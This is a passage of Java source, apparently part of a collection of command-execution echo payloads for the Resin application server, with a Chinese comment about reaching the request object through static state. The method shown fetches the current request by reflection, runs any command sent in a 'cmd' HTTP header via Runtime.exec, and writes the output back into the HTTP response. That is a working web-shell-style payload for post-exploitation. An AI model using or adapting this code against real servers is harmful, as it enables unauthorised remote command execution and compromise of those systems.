| 84 | |
| 85 | //request对象存储在静态变量或者特定类里 |
| 86 | public static void getResponse3() throws Exception { |
| 87 | Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); |
| 88 | java.lang.reflect.Method getContextRequest = si.getMethod("getContextRequest"); |
| 89 | com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl) getContextRequest.invoke(null); |
| 90 | try { |
| 91 | if (req.getHeader("cmd") != null) { |
| 92 | String cmd = req.getHeader("cmd"); |
| 93 | javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse(); |
| 94 | java.io.PrintWriter out = rep.getWriter(); |
| 95 | out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next()); |
| 96 | } |
| 97 | } catch (Exception e) { |
| 98 | e.printStackTrace(); |
| 99 | } |
| 100 | } |
| 101 | |
| 102 | } |